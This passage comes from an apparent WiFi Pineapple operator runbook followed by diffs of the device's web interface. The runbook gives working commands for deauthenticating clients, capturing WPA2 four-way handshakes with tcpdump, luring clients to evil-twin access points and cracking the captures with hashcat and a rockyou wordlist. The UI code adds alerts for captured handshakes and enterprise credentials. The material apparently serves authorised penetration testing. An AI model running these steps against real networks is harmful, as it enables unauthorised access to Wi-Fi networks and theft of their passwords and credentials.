The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
monitor can hear, even when the client refuses the evil twin entirely. In a
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
rejections from the karma twin and never associated — but when it
reconnected to the REAL AP, pineapd logged:
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
own. The monitor must be on the real AP's channel (on this lab unit the
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
The exported hashcat line verified against the target SSID:
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
Clients that DO associate to the twin also produce `hostap_handshake` rows
(roaming client verified), so both paths produce loot.
```sh
# single session: background tcpdump, run deauth rounds, listen, kill.
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
... deauth bursts on the same channel ...
sleep <listen window, e.g. 60-90s>
kill $TDPID
```
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
Analysis one-liners:
```sh
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
tshark -r cap -Y eapol -c 10 # 4-way keys
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
```
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
**Verified tell-tales on the lab venue:**
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
A fresh 4-way occurs only on:
1. A **brand-new client's first association** (new person/device arriving), or
2. A **GTK rekey** (AP-side, typically hourly).
Mitigations / planning:
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
```sh
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
```
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
## 7. Report language when no handshake is captured
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
## 8. Teardown
```sh
killall tcpdump # pkill is NOT on this BusyBox
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
```
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
@@ -185,7 +185,15 @@ body {
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; } .badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
.badge.on { background: #e8f5e9; color: #2e7d32; } .badge.on { background: #e8f5e9; color: #2e7d32; }
.badge.off { background: #fff3e0; color: #e65100; } .badge.off { background: #fff3e0; color: #e65100; }
.badge.warn { background: #fff8e1; color: #f57f17; }
.badge.unknown { background: #eeeeee; color: #616161; } .badge.unknown { background: #eeeeee; color: #616161; }
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
.health-chip.warn { background: #fff8e1; color: #f57f17; }
.health-chip.bad { background: #fdecea; color: #b71c1c; }
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
.btn { .btn {
background: var(--primary); color: #fff; border: 0; border-radius: 2px; background: var(--primary); color: #fff; border: 0; border-radius: 2px;
padding: 8px 14px; font-size: 14px; cursor: pointer; padding: 8px 14px; font-size: 14px; cursor: pointer;
@@ -316,6 +324,9 @@ html.dark .muted { color: #bdbdbd; }
.icon-btn svg { width: 22px; height: 22px; } .icon-btn svg { width: 22px; height: 22px; }
.recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; } .recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
.recon-scan-bar .sel { width: auto; } .recon-scan-bar .sel { width: auto; }
.recon-scan-status { font-size: 12px; }
.recon-scan-status.warn { color: #b26a00; }
html.dark .recon-scan-status.warn { color: #ffb74d; }
.recon-table-head { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; flex-wrap: wrap; } .recon-table-head { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; flex-wrap: wrap; }
.recon-table-head h2 { margin: 0; } .recon-table-head h2 { margin: 0; }
.recon-search { max-width: 180px; } .recon-search { max-width: 180px; }
@@ -324,6 +335,9 @@ html.dark .muted { color: #bdbdbd; }
.recon-paginator .icon-btn svg { width: 18px; height: 18px; } .recon-paginator .icon-btn svg { width: 18px; height: 18px; }
.recon-row-selected td { background: #eaeaea; } .recon-row-selected td { background: #eaeaea; }
html.dark .recon-row-selected td { background: #565656; } html.dark .recon-row-selected td { background: #565656; }
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
.recon-gps-cell { font-variant-numeric: tabular-nums; }
.recon-settings-sidebar { .recon-settings-sidebar {
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50; position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px; background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
@@ -354,6 +368,52 @@ html.dark .recon-row-selected td { background: #565656; }
th.recon-sorted { color: var(--primary); } th.recon-sorted { color: var(--primary); }
.recon-per { width: auto; } .recon-per { width: auto; }
/* ---- Recon supercharge: dBm bars, chips, pills ---- */
.recon-dbm-cell { display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; }
.recon-dbm-bar { display: inline-block; width: 46px; height: 6px; border-radius: 3px; background: var(--surface-alt); overflow: hidden; vertical-align: middle; }
html.dark .recon-dbm-bar { background: #333; }
.recon-dbm-fill { display: block; height: 100%; border-radius: 3px; }
.recon-dbm-val { font-variant-numeric: tabular-nums; }
.recon-chips-row { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 4px 0 10px; }
.recon-chips-label { font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); margin: 0 2px 0 8px; }
.recon-chips-label:first-child { margin-left: 0; }
.recon-chip { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; }
.recon-chip:hover { color: var(--text); border-color: var(--primary); }
.recon-chip.active { background: var(--primary); border-color: var(--primary); color: #fff; }
.recon-pill { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.recon-pill:hover { color: var(--text); border-color: var(--primary); }
.recon-pill:disabled { opacity: .5; cursor: default; }
.recon-pill.on { background: #e8f5e9; border-color: #a5d6a7; color: #2e7d32; }
html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
/* ---- Recon compare + selection ---- */
.recon-compare-hint { font-size: 12px; color: var(--muted); margin: -4px 0 8px; }
.recon-compare-empty { margin: 6px 0; }
.recon-compare-legend { display: flex; flex-wrap: wrap; gap: 12px; margin-top: 6px; }
.recon-compare-legend-item { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; }
.recon-compare-swatch { width: 10px; height: 10px; border-radius: 50%; flex: none; }
.recon-compare-sig { color: var(--muted); font-variant-numeric: tabular-nums; }
.recon-cmp-check { display: inline-flex; }
.recon-cmp-check input { width: auto; }
.recon-sel-chips { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 2px 0 6px; }
.recon-sel-chips.hidden { display: none; }
.recon-sel-chip { display: inline-flex; align-items: center; gap: 5px; border: 1px solid var(--primary); border-radius: 12px; padding: 2px 8px 2px 11px; font-size: 12px; color: var(--text); background: var(--surface-alt); }
.recon-sel-chip-x { cursor: pointer; color: var(--muted); font-weight: 700; padding: 0 2px; }
.recon-sel-chip-x:hover { color: #e53935; }
.recon-sel-clear { padding: 2px 10px; font-size: 12px; }
/* ---- Recon channel map ---- */
.recon-map-sub { font-size: 12px; color: var(--muted); margin: -4px 0 6px; }
.recon-map-chips { margin: 0 0 6px; }
.recon-chip.disabled { opacity: .45; cursor: default; }
.recon-chip.disabled:hover { color: var(--muted); border-color: var(--border); }
.recon-map-box { position: relative; }
.recon-map-box canvas { display: block; }
.recon-map-box .recon-no-data { min-height: 60px; }
/* ---- Reports view ---- */
.wigle-warn { color: #ef6c00; font-size: 12px; }
/* ---- Mark VII handshakes table + settings dialog ---- */ /* ---- Mark VII handshakes table + settings dialog ---- */
.hs-cell-center { text-align: center; } .hs-cell-center { text-align: center; }
.hs-ok, .hs-bad, .hs-na { display: inline-flex; vertical-align: middle; } .hs-ok, .hs-bad, .hs-na { display: inline-flex; vertical-align: middle; }
@@ -419,6 +479,7 @@ html.dark .modal { background: #303030; }
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; } .pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; } .pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; } .pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; } .pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; } html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; } html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
@@ -474,6 +535,27 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
.settings-diagnostics { max-height: 520px; white-space: pre-wrap; word-break: break-word; } .settings-diagnostics { max-height: 520px; white-space: pre-wrap; word-break: break-word; }
.settings-card > .switch { display: flex; margin: 10px 0; color: var(--text); font-size: 13px; } .settings-card > .switch { display: flex; margin: 10px 0; color: var(--text); font-size: 13px; }
.settings-card a { color: var(--primary); } .settings-card a { color: var(--primary); }
/* ---- WiFi client mode ---- */
.client-status { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 4px 20px; }
.client-kv { display: flex; align-items: center; justify-content: space-between; gap: 12px; border-bottom: 1px solid var(--border); padding: 6px 0; font-size: 13px; }
.client-kv > span { color: var(--muted); }
.client-actions { display: flex; gap: 8px; flex-wrap: wrap; margin: 12px 0 4px; }
.client-networks { display: flex; flex-direction: column; gap: 6px; margin-top: 8px; max-height: 320px; overflow-y: auto; }
.client-net-row { display: flex; align-items: center; gap: 12px; padding: 9px 10px; border: 1px solid var(--border); border-radius: 3px; }
.client-net-main { flex: 1; min-width: 0; display: flex; flex-direction: column; }
.client-net-ssid { font-weight: 500; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.client-net-enc { font-size: 11px; color: var(--muted); }
.client-net-signal { color: var(--muted); font-size: 12px; white-space: nowrap; }
.client-connect-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; width: 100%; }
.client-connect-form input[type=password] { flex: 1 1 160px; }
.client-routing { display: flex; align-items: center; gap: 8px; margin: 8px 0 0; color: var(--text); font-size: 13px; }
.client-routing.hidden { display: none; }
.client-connect-form .client-routing { margin: 0; }
.client-modal { width: 560px; }
@media (max-width: 700px) {
.client-modal { min-width: 0; width: auto; }
}
@media (max-width: 700px) { @media (max-width: 700px) {
.tabbar { overflow-x: auto; flex-wrap: nowrap; } .tabbar { overflow-x: auto; flex-wrap: nowrap; }
.tabbar .tab { flex: 0 0 auto; } .tabbar .tab { flex: 0 0 auto; }
@@ -6,7 +6,7 @@
<meta name="color-scheme" content="light dark"> <meta name="color-scheme" content="light dark">
<title>WiFi Pineapple</title> <title>WiFi Pineapple</title>
<link rel="icon" type="image/png" href="assets/logo.png"> <link rel="icon" type="image/png" href="assets/logo.png">
<link rel="stylesheet" href="css/app.css?v=20260811-9"> <link rel="stylesheet" href="css/app.css?v=20260818-8">
<link rel="stylesheet" href="js/xterm.css"> <link rel="stylesheet" href="js/xterm.css">
</head> </head>
<body> <body>
@@ -26,6 +26,7 @@
<span id="brand-text" class="brand-text">Mark VIII</span> <span id="brand-text" class="brand-text">Mark VIII</span>
<span class="toolbar-spacer"></span> <span class="toolbar-spacer"></span>
<span id="live-status"></span> <span id="live-status"></span>
<span id="health-status" class="health-chip"></span>
<div class="toolbar-action"> <div class="toolbar-action">
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications" <button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button> aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
@@ -260,14 +261,14 @@
<div id="toast-container"></div> <div id="toast-container"></div>
<script src="js/config.js"></script> <script src="js/config.js"></script>
<script src="js/icons.js?v=20260811-6"></script> <script src="js/icons.js?v=20260818-7"></script>
<script src="js/api.js?v=20260811-3"></script> <script src="js/api.js?v=20260817-4"></script>
<script src="js/chart.js"></script> <script src="js/chart.js"></script>
<script src="js/xterm.min.js"></script> <script src="js/xterm.min.js"></script>
<script src="js/xterm-addon-fit.min.js"></script> <script src="js/xterm-addon-fit.min.js"></script>
<script src="js/terminal.js"></script> <script src="js/terminal.js"></script>
<script src="js/pager.js"></script> <script src="js/pager.js"></script>
<script src="js/views.js?v=20260811-11"></script> <script src="js/views.js?v=20260818-9"></script>
<script src="js/app.js?v=20260811-9"></script> <script src="js/app.js?v=20260818-9"></script>
</body> </body>
</html> </html>
@@ -23,7 +23,9 @@ const PagerAPI = (() => {
data = await res.text(); data = await res.text();
} }
if (!res.ok) { if (!res.ok) {
const message = data && data.error ? data.error : ('HTTP ' + res.status); const detail = data && typeof data.detail === 'string' ? data.detail : '';
const message = (data && data.error ? data.error : ('HTTP ' + res.status)) +
(detail ? ': ' + detail : '');
const error = new Error(message); const error = new Error(message);
error.status = res.status; error.status = res.status;
error.data = data; error.data = data;
@@ -33,6 +33,7 @@ const App = (() => {
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' }, { key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' }, { key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' }, { key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' } { key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
]; ];
const railDividers = new Set(['logging']); const railDividers = new Set(['logging']);
@@ -83,7 +84,22 @@ const App = (() => {
function route() { function route() {
closeToolbarMenus(); closeToolbarMenus();
const hash = location.hash || '#/dashboard'; let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
if (hash === '#/recon/survey') {
location.hash = '#/recon';
return;
}
if (hash.indexOf('#/attacks') === 0) {
const map = {
'#/attacks': '#/pineap',
'#/attacks/wpa': '#/pineap/evilwpa',
'#/attacks/open': '#/pineap/open',
'#/attacks/enterprise': '#/pineap/enterprise'
};
hash = map[hash] || '#/pineap';
location.replace(hash);
return;
}
const name = routes[hash]; const name = routes[hash];
if (currentView && currentView.destroy) currentView.destroy(); if (currentView && currentView.destroy) currentView.destroy();
els.content.innerHTML = ''; els.content.innerHTML = '';
@@ -233,7 +249,8 @@ const App = (() => {
location.hash = '#/settings/advanced'; location.hash = '#/settings/advanced';
toast('Update controls are available in Advanced settings'); toast('Update controls are available in Advanced settings');
} else if (action === 'internet') { } else if (action === 'internet') {
checkInternet(true); if (typeof views.openClientModeModal === 'function') views.openClientModeModal();
else checkInternet(true);
} else if (action === 'logout') { } else if (action === 'logout') {
PagerAPI.post('/api/logout') PagerAPI.post('/api/logout')
.then(() => showLogin()) .then(() => showLogin())
@@ -389,12 +406,14 @@ const App = (() => {
const routes = { const routes = {
'#/dashboard': 'dashboard', '#/dashboard': 'dashboard',
'#/pineap': 'pineap', '#/pineap': 'pineap',
'#/pineap/open': 'pineap_open',
'#/pineap/evilwpa': 'pineap_evilwpa', '#/pineap/evilwpa': 'pineap_evilwpa',
'#/pineap/enterprise': 'pineap_enterprise',
'#/pineap/open': 'pineap_open',
'#/pineap/impersonation': 'pineap_impersonation', '#/pineap/impersonation': 'pineap_impersonation',
'#/pineap/clients': 'pineap_clients', '#/pineap/clients': 'pineap_clients',
'#/pineap/filtering': 'pineap_filtering', '#/pineap/filtering': 'pineap_filtering',
'#/recon': 'recon', '#/recon': 'recon',
'#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes', '#/recon/handshakes': 'recon_handshakes',
'#/logging': 'logging', '#/logging': 'logging',
'#/logging/system': 'logging_system', '#/logging/system': 'logging_system',
@@ -407,11 +426,13 @@ const App = (() => {
'#/settings/wifi': 'settings_wifi', '#/settings/wifi': 'settings_wifi',
'#/settings/led': 'settings_led', '#/settings/led': 'settings_led',
'#/settings/advanced': 'settings_advanced', '#/settings/advanced': 'settings_advanced',
'#/settings/help': 'settings_help' '#/settings/help': 'settings_help',
'#/harness': 'harness'
}; };
return { init, route, toast, showLogin, wsUrl: (p) => WS_BASE + p, terminalWs: TERMINAL_WS, return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
pagerScreenWs: PAGER_SCREEN_WS, pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE, terminalWs: TERMINAL_WS, pagerScreenWs: PAGER_SCREEN_WS,
pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
keyOf, railItems, go: (h) => { location.hash = h; }, keyOf, railItems, go: (h) => { location.hash = h; },
get key() { return keyOf(location.hash); } }; get key() { return keyOf(location.hash); } };
})(); })();
@@ -420,6 +441,10 @@ const Live = (() => {
let ws = null; let ws = null;
let ever = false; let ever = false;
let poll = null; let poll = null;
let pollHealthTimer = null;
let pollEventsTimer = null;
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
pineapUp: null, mon0: null, mon1: null };
const subs = []; const subs = [];
let timer = null; let timer = null;
function stopPoll() { function stopPoll() {
@@ -428,6 +453,14 @@ const Live = (() => {
function start() { function start() {
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return; if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
stopPoll(); stopPoll();
if (!pollHealthTimer) {
pollHealthTimer = setInterval(pollHealth, 15000);
pollHealth();
}
if (!pollEventsTimer) {
pollEventsTimer = setInterval(pollEvents, 15000);
pollEvents();
}
try { ws = new WebSocket(App.wsUrl('/api/ws')); } try { ws = new WebSocket(App.wsUrl('/api/ws')); }
catch (e) { fallback(); return; } catch (e) { fallback(); return; }
ws.onopen = () => { ever = true; }; ws.onopen = () => { ever = true; };
@@ -475,6 +508,58 @@ const Live = (() => {
const el = document.getElementById('live-status'); const el = document.getElementById('live-status');
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n; if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
} }
function pollHealth() {
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
.then((h) => {
const el = document.getElementById('health-status');
if (!el) return;
if (h.pineap_up === false) {
el.textContent = 'PINEAPD DOWN';
el.className = 'health-chip bad';
} else if (h.pool_disabled) {
el.textContent = 'POOL OFF';
el.className = 'health-chip warn';
} else if (h.pineap_up) {
el.textContent = 'PINEAP OK';
el.className = 'health-chip good';
}
const prev = lastEvents;
if (prev.pineapUp === false && h.pineap_up) {
toast('PineAPd recovered', 'success');
} else if (prev.pineapUp === true && h.pineap_up === false) {
toast('PineAPd is down — health monitor is repairing it', 'error');
}
lastEvents.pineapUp = !!h.pineap_up;
const monState = [h.wlan0mon_up, h.wlan1mon_up];
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
lastEvents.mon0 = !!monState[0];
lastEvents.mon1 = !!monState[1];
}).catch(() => {});
}
function pollEvents() {
Promise.all([
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
]).then(([hs, atk]) => {
const files = (hs && hs.files) || [];
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
if (lastEvents.hsPrimed && fresh.length) {
fresh.forEach((f) => {
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
toast('Handshake captured: ' + (bssid || f.name), 'success');
});
}
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
lastEvents.hsPrimed = true;
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
}
if (creds !== null) lastEvents.creds = creds;
lastEvents.credsPrimed = true;
}).catch(() => {});
}
function onTick(fn) { function onTick(fn) {
subs.push(fn); subs.push(fn);
return () => { return () => {
@@ -10,7 +10,10 @@ const MiniChart = (() => {
ctx.setTransform(dpr, 0, 0, dpr, 0, 0); ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
const w = canvas.clientWidth, h = 140; const w = canvas.clientWidth, h = 140;
ctx.clearRect(0, 0, w, h); ctx.clearRect(0, 0, w, h);
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, 0)), 1); const oMin = o.min == null ? 0 : o.min;
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, oMin)), oMin + 1);
const min = Math.min(oMin, ...series.map((s) => Math.min(...s.points, oMin)));
const span = Math.max(max - min, 1);
const pad = 8; const pad = 8;
ctx.strokeStyle = o.grid || '#e0e0e0'; ctx.strokeStyle = o.grid || '#e0e0e0';
ctx.lineWidth = 1; ctx.lineWidth = 1;
@@ -28,14 +31,14 @@ const MiniChart = (() => {
pts.forEach((v, i) => { pts.forEach((v, i) => {
if (v == null) { started = false; return; } if (v == null) { started = false; return; }
const x = pad + (w - pad * 2) * i / Math.max(pts.length - 1, 1); const x = pad + (w - pad * 2) * i / Math.max(pts.length - 1, 1);
const y = h - pad - (h - pad * 2) * (v / max); const y = h - pad - (h - pad * 2) * ((v - min) / span);
if (!started) { ctx.moveTo(x, y); started = true; } else ctx.lineTo(x, y); if (!started) { ctx.moveTo(x, y); started = true; } else ctx.lineTo(x, y);
}); });
ctx.stroke(); ctx.stroke();
const last = pts[pts.length - 1]; const last = pts[pts.length - 1];
if (last != null) { if (last != null) {
const x = pad + (w - pad * 2) * (pts.length - 1) / Math.max(pts.length - 1, 1); const x = pad + (w - pad * 2) * (pts.length - 1) / Math.max(pts.length - 1, 1);
const y = h - pad - (h - pad * 2) * (last / max); const y = h - pad - (h - pad * 2) * ((last - min) / span);
ctx.fillStyle = s.color || '#1976d2'; ctx.fillStyle = s.color || '#1976d2';
ctx.beginPath(); ctx.arc(x, y, 3, 0, Math.PI * 2); ctx.fill(); ctx.beginPath(); ctx.arc(x, y, 3, 0, Math.PI * 2); ctx.fill();
} }
@@ -133,5 +136,114 @@ const MiniChart = (() => {
}); });
} }
return { draw, doughnut, bar }; function chanToMhz(band, ch) {
const n = Number(ch);
if (band === '2.4') return 2407 + 5 * n;
if (band === '5') return 5000 + 5 * n;
if (band === '6') return 5950 + 5 * n;
return null;
}
function bandRange(band) {
if (band === '2.4') return [2400, 2500];
if (band === '5') return [5150, 5900];
if (band === '6') return [5925, 7125];
return null;
}
function hexA(hex, alpha) {
const m = /^#([0-9a-f]{6})$/i.exec(hex || '');
if (!m) return hex;
const n = parseInt(m[1], 16);
return 'rgba(' + ((n >> 16) & 255) + ',' + ((n >> 8) & 255) + ',' + (n & 255) + ',' + alpha + ')';
}
// Channel map: each AP is a raised-cosine lobe at its reported center
// frequency with the peak at its signal strength. The radio does not report
// channel width, so every lobe assumes 20 MHz (half-width +-10 MHz).
function channelMap(canvas, aps, opts) {
const o = opts || {};
const dpr = window.devicePixelRatio || 1;
const H = o.height || 180;
canvas.width = canvas.clientWidth * dpr;
canvas.height = H * dpr;
const ctx = canvas.getContext('2d');
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
const w = canvas.clientWidth, h = H;
ctx.clearRect(0, 0, w, h);
if (!aps || !aps.length) return;
const pts = aps
.map((a) => ({
freq: a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel),
sig: a.signal
}))
.filter((p) => p.freq != null && p.sig != null);
if (!pts.length) return;
const def = bandRange(aps[0].band);
const lo = Math.min(def ? def[0] : Infinity, ...pts.map((p) => p.freq));
const hi = Math.max(def ? def[1] : -Infinity, ...pts.map((p) => p.freq));
const fMin = lo - 10, fMax = hi + 10;
const padL = 42, padR = 10, padT = 14, padB = 24;
const plotW = w - padL - padR, plotH = h - padT - padB;
const YMIN = -100, YMAX = -30;
const x = (f) => padL + (f - fMin) / (fMax - fMin) * plotW;
const y = (dbm) => padT + (1 - (dbm - YMIN) / (YMAX - YMIN)) * plotH;
ctx.font = '10px Roboto, "Segoe UI", Arial, sans-serif';
ctx.textAlign = 'right';
for (let dbm = YMIN; dbm <= YMAX; dbm += 10) {
const yy = y(dbm);
ctx.strokeStyle = o.grid || '#e0e0e0';
ctx.lineWidth = 1;
ctx.beginPath(); ctx.moveTo(padL, yy); ctx.lineTo(w - padR, yy); ctx.stroke();
ctx.fillStyle = '#888';
ctx.fillText(String(dbm), padL - 6, yy + 3);
}
ctx.strokeStyle = o.grid || '#e0e0e0';
for (let f = Math.ceil(fMin / 20) * 20; f <= fMax; f += 20) {
ctx.beginPath(); ctx.moveTo(x(f), padT); ctx.lineTo(x(f), h - padB); ctx.stroke();
}
const baseY = h - padB;
aps.forEach((a) => {
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
if (freq == null || a.signal == null) return;
const color = a.color || '#1976d2';
const cx = x(freq);
const topY = y(a.signal);
